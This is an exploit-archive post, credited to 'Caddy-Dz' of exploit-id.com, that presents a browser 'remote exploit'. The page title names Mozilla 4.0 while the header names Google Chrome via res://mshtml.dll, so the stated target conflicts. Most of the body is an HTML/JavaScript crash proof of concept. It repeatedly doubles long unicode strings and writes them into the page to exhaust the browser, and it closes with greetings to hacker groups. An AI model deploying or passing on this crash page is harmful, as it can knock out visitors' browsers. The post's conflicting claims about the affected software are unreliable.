Mozilla 4.0 remote exploit - ZeroSecurity.org

=================================================================================
                      .__         .__  __            .__    .___

  ____ ___  _________ |  |   ____ |__|/  |_          |__| __| _/
_/ __ \\  \/  /\____ \|  |  /  _ \|  \   __\  ______ |  |/ __ |
\  ___/ >    < |  |_> >  |_(  <_> )  ||  |   /_____/ |  / /_/ |

 \___  >__/\_ \|   __/|____/\____/|__||__|           |__\____ |
     \/      \/|__|                                          \/

			Exploit-ID is the Indonesian Exploit Archive

Web             : exploit-id.com

e-mail          : root[at]exploit-id.com

                      #########################################
                       I'm Caddy-Dz ,  member of exploit-id.com

                      #########################################
================================================================================
####
# Exploit Title: Google Chrome (res://mshtml.dll) Remote Exploit
# Author: Caddy-Dz
# Facebook Page: www.facebook.com/islam.caddy
# E-mail: [email protected]  |  [email protected]
# Category:: Remote Exploits
# Tested on: [Windows Vista Edition Intégrale]
####

[*] Note ! :

The Same Exploit Was Found By "KedAns-Dz" on (Firefox & Safari & IE)  http://www.1337day.com/exploits/16077

###

[*] Crash :


<html><head>
<script src="res://mshtml.dll/objectembed.js"></script>
<script language="javascript">
function boom()
 {
	var longunistring1 = unescape("%u4141%u4141");
	var longunistring2 = unescape("%u4242%u4242");
	var longunistring3 = unescape("%u4343%u4343");
	var longunistring4 = unescape("%u4444%u4444");
	for(i=0; i <= 999 ; ++i)
 {
		longunistring1+=longunistring1;
		longunistring2+=longunistring2;
		longunistring3+=longunistring3;
		longunistring4+=longunistring4;
		document.write(longunistring1);
		document.write(longunistring2);
		document.write(longunistring3);
		document.write(longunistring4);
	}
	document.write(longunistring1);
	document.write(longunistring2);
	document.write(longunistring3);
	document.write(longunistring4);
	document.write(document.body.innerHTML);
}
var objectSource = boom();
</script>
</head>
<body onload="ObjectLoad();" leftmargin="0" topmargin="0" scroll="no">
<form id="objectDestination"></form></body>
</html>



=================================**Algerians Hackers**=======================================
# Greets To :
  KedAns-Dz & **All Algerians Hackers** , jos_ali_joe , All Exploit-Id Team ,  (exploit-id.com)
  (1337day.com) , (09exploit.com) , All My Friends: T!riRou , ChoK0 , MeRdaw! , CaRras0 , StiffLer ,
   MaaTar , St0fa , Nissou , RmZ ...others
============================================================================================


# 1337day.com [2011-05-18]